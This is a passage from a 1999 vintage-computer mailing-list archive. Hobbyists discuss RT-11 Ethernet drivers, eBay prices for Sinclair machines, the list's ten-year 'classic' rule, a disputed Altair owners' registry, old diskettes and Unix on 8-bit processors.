for these as my right hand is >healing and typing is difficult. Actually this should be enough to check the board setup to the extent I would want to. However, this has become a moot point, as in a fit of madness LATE last night I hunted till I finally tracked a DEQNA down in the other PDP-11/73, put it in the one I use, and found I've still got problems. It's looking like there is something with the way I ran a SYSGEN a few days ago. It turns out that I can't even boot the SJ monitor, and the FB monitor won't let me install the EQ driver. However, the XM monitor which I didn't even touch will let me install the EQX driver. I think my next step is to either redo the SYSGEN on the SJ and FB monitors, or to copy over the XM versions of the TCP/IP software. I'll probably copy over the XM versions first. Unfortunatly we've got a downtime at work tonite, so I've got to go into work in the next hour and most likely won't be able to try this tonite :^( I'm REALLY getting tired of not having RT-11 speaking TCP/IP! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From healyzh at aracnet.com Sat Jan 23 17:24:49 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: <36AA51E4.8C968F0C@rain.org> References: Message-ID: >Here is another ebay "bargain", starting price *only* $250. >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58331776 Jeez, even with 5 computers he probably got them for about that NEW back in about '82! I wonder if that one place is still selling unmade kits? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From ss at allegro.com Sat Jan 23 17:31:19 1999 From: ss at allegro.com (ss@allegro.com) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: <"v04011704b2d00a80afbb(a)(091)192.168.1.2(093)*"@MHS> References: <36AA51E4.8C968F0C@rain.org> Message-ID: <199901232331.PAA25984@bart.allegro.com> Date sent: Sat, 23 Jan 1999 15:24:49 -0800 Subject: Re: ebay: Timex Sinclair Computers From: healyzh@aracnet.com To: classiccmp@u.washington.edu Send reply to: classiccmp@u.washington.edu > Jeez, even with 5 computers he probably got them for about that NEW back in > about '82! I wonder if that one place is still selling unmade kits? Yes...I bought two in December, for about $25 to $35 each (forgot exact amount). SS From mbg at world.std.com Sat Jan 23 18:00:48 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:28 2005 Subject: DELQA Switch Settings Message-ID: <199901240000.AA04736@world.std.com> >It's looking like there is something with the way I ran a SYSGEN a few >days ago. It turns out that I can't even boot the SJ monitor, and the FB >monitor won't let me install the EQ driver. However, the XM monitor >which I didn't even touch will let me install the EQX driver. I don't know the restrictions for EQ (under TSX, I suppose), but having been the designer and implementer of the ethernet drivers under RT-11, I can tell you that they won't run under SJ and FB. By the time we started working on Ethernet, the target system for most installations was XM. When I started working on the design for the ethernet drivers, there were several factors which guided the decision to be XM-only: 1) It was procedural to add and remove buffer descriptors from the ring -- you had to ensure that the adapter would not use one while the driver was working on it 2) Receive buffers had to essentially always be available or performance would have been abyssmal. 3) There was a recommended minimum number of receive buffers, or again, performance would suffer. 4) Maximum sized receive buffers were required or we would have had to support buffer chaining (which would have added to the size and complexity of the driver code, and as anyone familiar with RT knows, low memory is at a premium -- and moving them to high memory was not available under SB/FB) So, since we had to have a minimum of 6 receive buffers, at the maximum size (1600 bytes), that would have been just over 9kbytes, and we haven't even added the space for the code. This was unacceptable for SB/FB. It was decided that they would be supported under XM only. >I think my next step is to either redo the SYSGEN on the SJ and FB >monitors, or to copy over the XM versions of the TCP/IP software. I'll >probably copy over the XM versions first. Unfortunatly we've got a >downtime at work tonite, so I've got to go into work in the next hour and >most likely won't be able to try this tonite :^( I don't think you have to do this... TSX doesn't use the exact same xx.SYS drivers that SB/FB use, it uses rebuilt ones with a file type of .TSX So, as long as your TSX sysgen includes the driver, it should be available... And remember, TSX essentially takes over the machine, kicking the former OS (RT-11 SJ) out of memory... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From wpe101 at banet.net Sat Jan 23 18:11:51 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:40:28 2005 Subject: Legitimacy of the Ten Year Rule. References: <01be46b0$ac414660$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <36AA6547.B47DDF1E@banet.net> I strongly agree with this! Will Computer Room Internet Cafe wrote: > > I personally feel the 10 year "rule" is useful as a guide, however, I also > consider that there are several machines that rightly qualify as "Classic > Computers" that are less than 10 years old. There is a particular "grey" > area in that a particular machine might span the period. I suppose > logically, we should look at when a particular box was FIRST made. > I have 2 Vax 6000's here (which I propose to the list are a "Classic" > regardless of age") one is 89 manufacture and therefore (just) 10 years old. > The other is a 1990 build. Microvaxen have been around for a fair while > now, but I am given to understand they are still orderable, new, from > Digital. IMHO, I would also class ANY Microvax as a "Classic" regardless of > age. > In fairness to all, it's unlikely that we want to see extensive discussions > of the vagaries of Pentium II's discussed here (for some years at least!) > but I am confident that the 10 year rule is meant to guide us, not shackle > us to a time frame. i.e. IF you have a machine that is less than that age, > or you wish to discuss it on the list, and IF you consider it to be a > classic in it's own right, then I suggest it be put to the list. IF the > consensus of list members is that it should be classed as a classic, then so > be it. > > Just my 2c worth. Your opinions and/or mileage may vary. > > Cheers > > Geoff Roberts > Computer Room Internet Cafe > Port Pirie > South Australia. > netcafe@pirie.mtx.net.au From jpl15 at netcom.com Sat Jan 23 18:48:58 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: Message-ID: Hmmmmm... I wonder what my little Sinclair Cambridge Scientific calculator is worth??? I does a lot of scientific-related calcs, over and above the usual operations... sqrt, sin, cos, tan, exp, etc. This one was had from Boots The Chemist limited, 1-2-3 Marble Arch., London W.I. on 25 Apr 1977, for UKP 8.45, .43tx, 8.88 tot. It works well, and comes in a little plastic clamshell case... in which case the Instruction Booklet (English/Deutsch/Francais) does not quite fit... interesting. Maybe I'm a millionaire....... Cheerz John From dpeschel at u.washington.edu Sat Jan 23 18:51:18 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: from "John Lawson" at Jan 23, 99 04:48:58 pm Message-ID: <199901240051.QAA23099@saul2.u.washington.edu> > Hmmmmm... I wonder what my little Sinclair Cambridge Scientific > calculator is worth??? > > I does a lot of scientific-related calcs, over and above the usual > operations... sqrt, sin, cos, tan, exp, etc. Is that the one with the "built-on constants"? As opposed to "built-in". -- Derek From davidfreibrun at home.com Sat Jan 23 11:11:13 1999 From: davidfreibrun at home.com (David Freibrun) Date: Sun Feb 27 18:40:28 2005 Subject: Altair Collectors Registry Message-ID: <005901be46f3$614a0230$472a0518@cx183395-a.msnv1.occa.home.com> Altair Collectors Registry http://altaircomputers.org/registrymodel.html Model: 680 Registered: 1 ------------------------------------- Model: 8800 Assembled Registered: 4 ------------------------------------- Model: 8800 Kit Registered: 12 ------------------------------------- Model: 8800b Registered: 5 ------------------------------------- Model: 8800b(sm) Registered: 1 ------------------------------------- Model: 8800b(t) Registered: 4 ------------------------------------- Model: Attache Registered: None If your model is not on the registry, let me know so I can update the list. Of course your privacy will be respected if you don't want your name published. Altair Computer Collectors davidfreibrun@home.com http://altaircomputers.org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/5e348d28/attachment.html From jpl15 at netcom.com Sat Jan 23 19:18:36 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: <199901240051.QAA23099@saul2.u.washington.edu> Message-ID: On Sat, 23 Jan 1999, Derek Peschel wrote: > > I does a lot of scientific-related calcs, over and above the usual > > operations... sqrt, sin, cos, tan, exp, etc. > > Is that the one with the "built-on constants"? As opposed to "built-in". The Book sez: "....constant on all four arithmaetic functions." The only 'built-in' constant seems to be pi. Chz John From dpeschel at u.washington.edu Sat Jan 23 19:22:04 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers In-Reply-To: from "John Lawson" at Jan 23, 99 05:18:36 pm Message-ID: <199901240122.RAA04450@saul2.u.washington.edu> > > Is that the one with the "built-on constants"? As opposed to "built-in". > > > The Book sez: "....constant on all four arithmaetic functions." > > The only 'built-in' constant seems to be pi. I wasn't talking about "built-in" constants (i.e., you press a key and the constant pops up in the display, to be used in calculations). I was talking about "built-ON" constants (i.e., they are painted on the case and you enter them yourself). Perhaps it was another Sinclair calculator that had those. Or maybe I got the name wrong. I'm absolutely certain they were on at least one model -- I've seen a picture. -- Derek From jpl15 at netcom.com Sat Jan 23 19:28:21 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:28 2005 Subject: Altair Collectors Registry In-Reply-To: <005901be46f3$614a0230$472a0518@cx183395-a.msnv1.occa.home.com> Message-ID: So... let me get this straight... you want every one to *register* their Altairs with .....you??? For what, so you can get a "hit list" together for a little second story work? So you can spam-barrage members with Auction Solicitations? Aren't you the same individual trying to start the "Altair Owner's Club" on one of those idiotic Yahoo 'conferences' or whatever they call them.... and trying to get the List Admin to give you access to the Archive so you can harvest names...??? OTOH, maybe my Curmudgeon Index is a little high today.. And, oh yes... thanks once again for shovelling a shit-load of HTML crap into a plain-text based mailing list. Cheerz John From davidfreibrun at home.com Sat Jan 23 11:45:12 1999 From: davidfreibrun at home.com (David Freibrun) Date: Sun Feb 27 18:40:28 2005 Subject: Altair Collectors Registry Message-ID: <001201be46f8$20d38780$472a0518@cx183395-a.msnv1.occa.home.com> I'm am trying to perserve history and keep people informed by building this registry. It is completely voluntary. I'm sorry you are so bitter. davidfreibrun@home.com http://altaircomputers.org -----Original Message----- From: John Lawson To: Discussion re-collecting of classic computers Date: Sunday, January 24, 1999 1:29 AM Subject: Re: Altair Collectors Registry > > So... let me get this straight... you want every one to >*register* their Altairs with .....you??? For what, so you can get >a "hit list" together for a little second story work? So you can >spam-barrage members with Auction Solicitations? > > Aren't you the same individual trying to start the "Altair Owner's >Club" on one of those idiotic Yahoo 'conferences' or whatever they >call them.... and trying to get the List Admin to give you access >to the Archive so you can harvest names...??? > > OTOH, maybe my Curmudgeon Index is a little high today.. > > And, oh yes... thanks once again for shovelling a shit-load of >HTML crap into a plain-text based mailing list. > > > > Cheerz > >John From jpl15 at netcom.com Sat Jan 23 20:23:14 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:28 2005 Subject: Altair Collectors Registry In-Reply-To: <001201be46f8$20d38780$472a0518@cx183395-a.msnv1.occa.home.com> Message-ID: I'm not *bitter*, David... just a touch suspicious. I've been around the 'Net long enough to have been through this kind of thing before.. If in fact you are trying to preserve history and consolidate and tabulate Altair resources... then you have ny vote. I do the same with other items of by-gone "tech" that are not germaine to this List (and thus not mentioned here often by me). There are active collectible computer dealers here, there are E-bay proponents and there are those who decry both camps. I am a private collector and I do not participate in the various on-line auctions because I think they distort the hobby... but I am all for Darwinian Capitalism... ie.: "You *go* girlfriend..." I am more concerned with my orivacy, personal safety and the safety of my property. If I was *paranoid*, I'd not post anything at all re: my motely collection. But I try to be a smidge *careful* who I entrust with such info. Perhaps you will understand my thoughts better now. I ain't "bitter", just carefully observant, and leery of what appears to be commercial exploitation of a hobby I enjoy. Cheers David.. John From ard at p850ug1.demon.co.uk Sat Jan 23 19:20:55 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <19990123231238142.AAA89@fuj034cpc2f> from "Richard Erlacher" at Jan 23, 99 03:59:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 785 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990124/ec4e2f5a/attachment.ksh From jrkeys at concentric.net Sat Jan 23 21:14:06 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:28 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: Message-ID: <000901be4747$99d0ca40$82afadce@5x86jk> I just purchased a new box of 3.5 SS 3M diskettes for $2 at a thrift here and they had many boxes of 3.5's (SS,DS,HD) and 51/4's (DD and HD). The 51/4 are $1 for a box of ten all were new. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Mark > Sent: Saturday, January 23, 1999 9:35 AM > To: Discussion re-collecting of classic computers > Subject: Re: FYI: MEI/Microcenter is out of 5-1/4" diskettes > > > On Thu, 21 Jan 1999 Tony Duell wrote: > >Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find > >(what about 1.2 Mbyte ones - are they still available?), 3" disks are > >impossible to find. I'd better start hoarding them... > > You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may > be *Really* > expensive; I noticed on the Imation web site a couple of months > ago that (from > memory) a box of 8" disks was over US$100. > > 3" disks are still available new from at least one place in the > UK, though they > are over 2 pounds each. > > > -- Mark > > From allisonp at world.std.com Sat Jan 23 22:43:03 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <199901240443.AA17019@world.std.com> from "Tony Duell" at Jan 24, 99 01:20:55 am Message-ID: <199901240726.CAA21806@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1133 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990124/19f30751/attachment.ksh From rhblake at bigfoot.com Sun Jan 24 01:45:51 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:28 2005 Subject: E-pay: Kaypro 2X with software and printer Message-ID: <36AACFAE.79F64348@bigfoot.com> Kaypro 2X system with software, cables, daisy wheel printer http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=59787635 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990124/7b058fcf/attachment.html From dastar at ncal.verio.com Sun Jan 24 02:58:49 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <4.1.19990122230032.034eb100@office.ao.com> Message-ID: On Fri, 22 Jan 1999, Gary Oliver wrote: > Damn. I'm home and can't look it up... But I believe I recall something > called (IIRC) "Micronix" (or something similar) that ran on a Godbout > or Morrow system. I have some hardware documentation for the system > that ran it - got it in anticipation of getting one of the S-100 CPU > boards. > > The system had a memory paging system on top of a Z-80 and included > some fairly sophisticated protection (both memory and I/O) that would > have permitted a Unix-like system to operate securely. Sounds very interesting! Let us know when you dig up the info. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From rigdonj at intellistar.net Sun Jan 24 09:57:02 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:28 2005 Subject: OT: sinclair Calculator was Re: ebay: Timex Sinclair Computers In-Reply-To: References: Message-ID: <3.0.1.16.19990124095702.300f7b0e@intellistar.net> At 04:48 PM 1/23/99 -0800, you wrote: > > > Hmmmmm... I wonder what my little Sinclair Cambridge Scientific >calculator is worth??? Guy Ball's book puts the value at $70 to $80 for it. BTW they were made in '74 so I guess it's not too OT. > > I does a lot of scientific-related calcs, over and above the usual >operations... sqrt, sin, cos, tan, exp, etc. I keep an old Commodore PR-100 Scientific around for light number crunching. I fixed a spot of corrosion in it and installed new NiCads a couple of weeks ago. Now it's ready for another 20 years of service. Joe From rigdonj at intellistar.net Sun Jan 24 10:03:34 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:28 2005 Subject: MAC-8 ???? Message-ID: <3.0.1.16.19990124100334.48271ab0@intellistar.net> I found this in a news-group. I've never heard of a MAC-8 before. The Bell Labs Technical Journal, Autumn 1997, p53 states: The first microprocessor designed at Bell Labs was the Mac-8, a general purpose 8-bit micro- processor announced February 17, 1977. The Mac-8 was designed in 5-micron CMOS, requiring 7,500 transistors in an area of 32,45 mm2. It was packaged in a 40-pin dual inline package and ran at 3 mHz, providing 0.2 million instructions per sec- ond (MIPS) in performance. Long ago and far, far away in another lifetime; I somehow acquired a tube of these chips. I've always wanted to get a minimal system going built around this CPU. However I have NO DATA WHATEVER on them. Does anyone, anywhere reading this have the necessary hardware/software tech data to allow me to build and program a small system built around a Mac-8 ???????? From guerney at uq.net.au Sun Jan 24 08:32:56 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:28 2005 Subject: IBM PC-JX (was: Reiability of wrong media) Message-ID: <049901be47a6$703f6a60$32f665cb@default> -----Original Message----- From: Fred Cisin (XenoSoft) >How many know about the IBM PC-JX? It had 5.25" 720K drives! >Never sold in the U.S., just Japan and Australia? Hmmm ... never sold in the US....I'll not dwell on the obvious about collecting a load of JX systems that were used in some schools here and selling them on e-bay ;) Do you US collectors want these machines? I don't collect IBM PC's, although I did relent once and pay $A20 for a JX machine (IBM Model 5511 with 5515 monitor and 5519 expansion unit - made in Japan and all in black with a 3.5" drive in the main box and a 5.25" drive in the expansion box) that was in good condition. As I suspected, not a very interesting computer to me. If someone was prepared to foot the freight bill from Australia, I would be prepared to sell or trade it. I also would be prepared to look out for others and send them on. Same applies to real Aussie micro's like Microbees and not-so-real Aussie items like Dick Smith branded computers (which invariably were sold under other brand/model names in the USA). Trades are more interesting to me than sales - my main interest is roughly defined as "1975-1985 home micros". It doesn't matter how much money I got for this at auction, it wouldn't help me find a lot of stuff that seems available to you lot at your local thrift store! If anybody is interested, contact me by private e-mail. Just be prepared for at least a 3-month shipping delay, unless it is only a light item, or you can afford a hefty air-freight bill. Phil Brisbane, Australia. From jpl15 at netcom.com Sun Jan 24 11:29:21 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:28 2005 Subject: OT: sinclair Calculator was Re: ebay: Timex Sinclair Computers In-Reply-To: <3.0.1.16.19990124095702.300f7b0e@intellistar.net> Message-ID: On Sun, 24 Jan 1999, Joe wrote: > Guy Ball's book puts the value at $70 to $80 for it. BTW they were made Thanks for the info, Joe! Would it be possible to give the complete title of the book you mention? I'm not familiar with it and it sounds interesting... Cheers John From kurtkilg at geocities.com Sat Jan 23 11:34:55 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: Message-ID: On Sat, 23 Jan 1999, Allison J Parent wrote: > Unix didn't always have the idea of virtual memory. See Minix for an > example of that also V4 and maybe V5 unix didn't either. I would expect that the original PDP7 that ran UNIX didn't have VM... From rigdonj at intellistar.net Sun Jan 24 14:58:06 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:28 2005 Subject: OT: sinclair Calculator was Re: ebay: Timex Sinclair Computers In-Reply-To: References: <3.0.1.16.19990124095702.300f7b0e@intellistar.net> Message-ID: <3.0.1.16.19990124145806.3cdfcd00@intellistar.net> John, Sure, it's "The Complete Collector's Guide to Pocket Calculators" by Guy Ball and Bruce Flamm. Guy has a calculator collector's website at "http://www.geocities.com/SiliconValley/Park/7227/". You can get the book directly from him through it. Tell him I sent you. Joe At 09:29 AM 1/24/99 -0800, you wrote: > > >On Sun, 24 Jan 1999, Joe wrote: > >> Guy Ball's book puts the value at $70 to $80 for it. BTW they were made > > Thanks for the info, Joe! Would it be possible to give the >complete title of the book you mention? I'm not familiar with it and >it sounds interesting... > > Cheers > >John > > > From edick at idcomm.com Sun Jan 24 10:48:57 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <19990124192421254.AAA252@fuj034cpc2f> Well . . . CP/M "looked a lot like" the old OS/8, yet it wasn't. I guess it depends on what your goal is. With the CP/M, it was having a console protocol which was already understood by any unemployed DEC programmer so they could be put to work on the 8-bit micros. Because it was already a defined quantity, it didn't have to be too thoroughly documented, either. I don't know about OS-9. I never saw it on a 6809 though I did see it running on a 68008, which is quite a bit more processor. It didn't look too much like *NIX either.l Dick ---------- > From: Allison J Parent > To: Discussion re-collecting of classic computers > Subject: Re: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] > Date: Saturday, January 23, 1999 9:43 PM > > > <*NIX tends to want to use virtual memory, without which many systems would > > Unix didn't always have the idea of virtual memory. See Minix for an > example of that also V4 and maybe V5 unix didn't either. > > Also It's been done! UZI uses the total swaping model, IE: processes are > swaped out of core to make room for others. > > Allison From manney at hmcltd.net Sun Jan 24 13:44:46 1999 From: manney at hmcltd.net (PG Manney) Date: Sun Feb 27 18:40:29 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <01be47d1$ff945240$01bfbfbf@toshiba-115cs> >THAT is something that we are all more likely to agree with! If IBM ran >a doughnut shop, how many WOULD be in a dozen?? Not only that, what would a doughnut look like? They'd redesign that, too. And make in incompatible with existing doughnut boxes. From allisonp at world.std.com Sun Jan 24 13:58:39 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:29 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <199901241958.AA15845@world.std.com> Unix didn't always have the idea of virtual memory. See Minix for an <> example of that also V4 and maybe V5 unix didn't either. < ] On Sat, 23 Jan 1999, Doug wrote: ] Subject: Re: Legitimacy of the Ten Year Rule. ] ] On Sat, 23 Jan 1999, Buck Savage wrote: ... snippage ... ] ] A "universal" rating/certification system, similar to the way coins are ] graded, would be ideal. But I don't think you'll ever get this group to ] agree on anything -- just do it! (And then sell a book.) ] ] Forget the word "classic". A guide that gives production numbers, ] variations, years, criteria to judge condition, price, etc. would be cool ] -- I'd buy one, and I'd buy a new copy every year as you updated prices ] and other info. ] ] Start with Hans P's list of machines (and pay him royalties). ] ] -- Doug I don't believe it. *THIS*, coming from the same guy that blew his stack over his secret bargain bid getting exposed? Which do you want, well-known (and high) dollar-tags attached to everything, or obscurity and bargains? You can't have both. We have a choice between an entrenched mainstream collector's marketplace, with standard price guides, and with all the neat stuff ending up in investors' display cases, off-limits to mere hobbyists; or an unrecognized garage-sale niche marketplace, with dispute as to the value of anything, but with many of these machines clanking away in our basements. It seems we have no real choice about it, we will eventually end up with the former. But there is no need to hurry it. Especially if you are one to bitch when one of your bargain-basement bids get exposed and immediately out-bid. Bill. From jim at calico.litterbox.com Sun Jan 24 14:13:39 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:29 2005 Subject: classic printer on an iMac Message-ID: <199901242013.NAA10010@calico.litterbox.com> Hi all. Just thought I'd let you know about a cool product I've found. My father, who up until this time has been running various apple2 computers, (which is how I got into classic computers as a hobby, by the way) just acquired an iMac. All is well and good except he wants to run his Sears Epson fx85-alike from it. And as I discovered, the official Epson USB-Parallel adapter doesn't do anything that far back. So whilst at CompUSA last night I happened across InfoWave's PowerPrint USB - Parallel adapter. After some checking to see if they claimed to support old Epson 9pins, I bought it. Plugged it into the USB port on my wife's mac, asked her to load the software, plugged it into my own Epson LX800 - which uses the same driver - and it printed perfectly. It's a bit of a mess to UNINSTALL, if you don't have extention management loaded, but my wife is a mac power user and eventually got things cleaned up. It's not cheap, - about a hundred bucks US - but even more than classic computers, classic printers don't wear out, and with this package there's no need to replace them just because you got an iMac. Their web page is at www.infowave.com, and it lists what printers the software, PowerPrint, supports. Apparently they also make a Mac-serial to parallel adapter, and the USB version is just ported over from the software from that. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From doug at blinkenlights.com Sun Jan 24 14:23:20 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901242007.PAA22621@dgs.cs.unc.edu> Message-ID: On Sun, 24 Jan 1999, Bill Yakowenko wrote: > I don't believe it. *THIS*, coming from the same guy that blew > his stack over his secret bargain bid getting exposed? Which do > you want, well-known (and high) dollar-tags attached to everything, > or obscurity and bargains? You can't have both. My stack was blown about a random unpredicatable spotlight being shown in some dark corner. Having a "field guide" that raises awareness in general is more like increasing the intensity of a nice even predictable light. There will still be bargains to be found, but the entire "game" will be raised up a notch. Besides, you know how these books work, right? You assign an absurdly high value to the machines you already own, and an absurdly low value (or no mention at all) of the machines you have yet to acquire :-) > We have a choice between an entrenched mainstream collector's > marketplace, with standard price guides, and with all the neat stuff > ending up in investors' display cases, off-limits to mere hobbyists; > or an unrecognized garage-sale niche marketplace, with dispute as > to the value of anything, but with many of these machines clanking > away in our basements. > > It seems we have no real choice about it, we will eventually end up > with the former. But there is no need to hurry it. Especially if > you are one to bitch when one of your bargain-basement bids get > exposed and immediately out-bid. If you know that something is inevitable, the only question left is how to take advantage of it. If you're the one to publish such a guide, then you write the rules. Also, don't forget that there already is a price guide out there -- Haddock's "Collector's Guide", but it's terrible as a price guide, and lacking in detail and completeness. -- Doug From jpl15 at netcom.com Sun Jan 24 14:39:17 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:29 2005 Subject: Altair Registry Message-ID: With the current foment and debate concerning the mechanics of free-market capitalism as applied to Our Hobby.. this is prolly on-topic. It has been suggest to me (privately) that I have reacted to David Freibrun's offer of a central Altair registry in a bitter and unfriendly way. Such was not my intent, though Freudians are undoubtedly nodding their heads sagely right now saying "JaJa, he only sinks he means dat.." For the *tone* of my message, I truly apologize. For the *content* of my message, I reiterate, a little more calmly, that I have no intrinsic problem with a centrally-maintained database of who gots what where. BUT... tied in to some of the concerns Doug has/is raising [not that I agree with all of it, Doug... :) ] I am really leery of providing personal info on a rare and perhaps desirably valuable item in my possesion.. which, in the case of my Altair, is not for sale or trade, and I'd rather it not be stolen, either. That's all I tried to say, and I guess I got huffy in the process. If such a list is set up and maintained well and seems trustworthy, I have no problem with listing my gear. David, I apologise if I offended you personally... again it was not my intent. Cheerz John From doug at blinkenlights.com Sun Jan 24 15:01:26 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Altair Registry In-Reply-To: Message-ID: On Sun, 24 Jan 1999, John Lawson wrote: > I am really leery of providing personal info on a rare and perhaps > desirably valuable item in my possesion.. which, in the case of my > Altair, is not for sale or trade, and I'd rather it not be stolen, > either. I think there are valid reasons to be suspicious. Personally, I'm very pleased to see a shrine erected to an old machine, any old machine. OK, in David's case, he chose the Altair -- a machine that has already been hyped into the stratosphere. That by itself is not "bad." There are plenty of "good" Altair web shrines out there that focus on restoring and maintaining the machine. But David is pretty clearly in the Altair-as-collectible camp. He has told us plainly that he leaves the nonsense about a $12,000 Altair on his website for "publicity" value. I think computer collecting is fine, but there are many flavors, and David, to me, represents the Beanie Baby flavor. So, feel free to resist his efforts if you don't like his spin. And feel free to express yourself in whatever way works best for you! Personally, I prefer real articulate diverse opinions to whimpy "can't we all just get along" appologies! -- Doug From yakowenk at cs.unc.edu Sun Jan 24 15:07:45 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901242107.QAA23046@dgs.cs.unc.edu> On Sat, 23 Jan 1999, Geoff Roberts wrote: ] I personally feel the 10 year "rule" is useful as a guide, however, I also ] consider that there are several machines that rightly qualify as "Classic ] Computers" that are less than 10 years old. There is a particular "grey" ... snippage ... Unless the list-maintainer gets active, "on-topic" is by concensus. We all started with the ten-year rule in the sign-on message, but it is obvious that not everybody takes that seriously. So, since it is a matter of concensus, here is my vote. 1. Ten years is just a guideline. If something is only 9 years old, I won't much mind hearing about it. I might even like it. But if it is only two or three years old, there must be a surviving users-group or something. Go find it, or start your own, but please don't clutter up my mailbox with it. 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's just an indisputable fact. :-) 3. Guns, cars, schools, Star Trek, and politics are not classic computers. (This is not to disparage people interested in those things, just to point out that those discussions belong on other mailing lists.) 4. Simply having origins in something that is classic does not make a thing classic. Otherwise *everything* would be classic. 5. The ten year rule should apply to the date when a thing dropped off in popularity; if it was still in common use eight years ago, it is not yet classic. (Justification: if it is still in common use, there will be other places to discuss it.) 6. Do I really need to add "IMHO" here? :-) Cheers, Bill. From healyzh at aracnet.com Sun Jan 24 15:33:56 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:29 2005 Subject: classic printer on an iMac In-Reply-To: <199901242013.NAA10010@calico.litterbox.com> Message-ID: Very cool product, 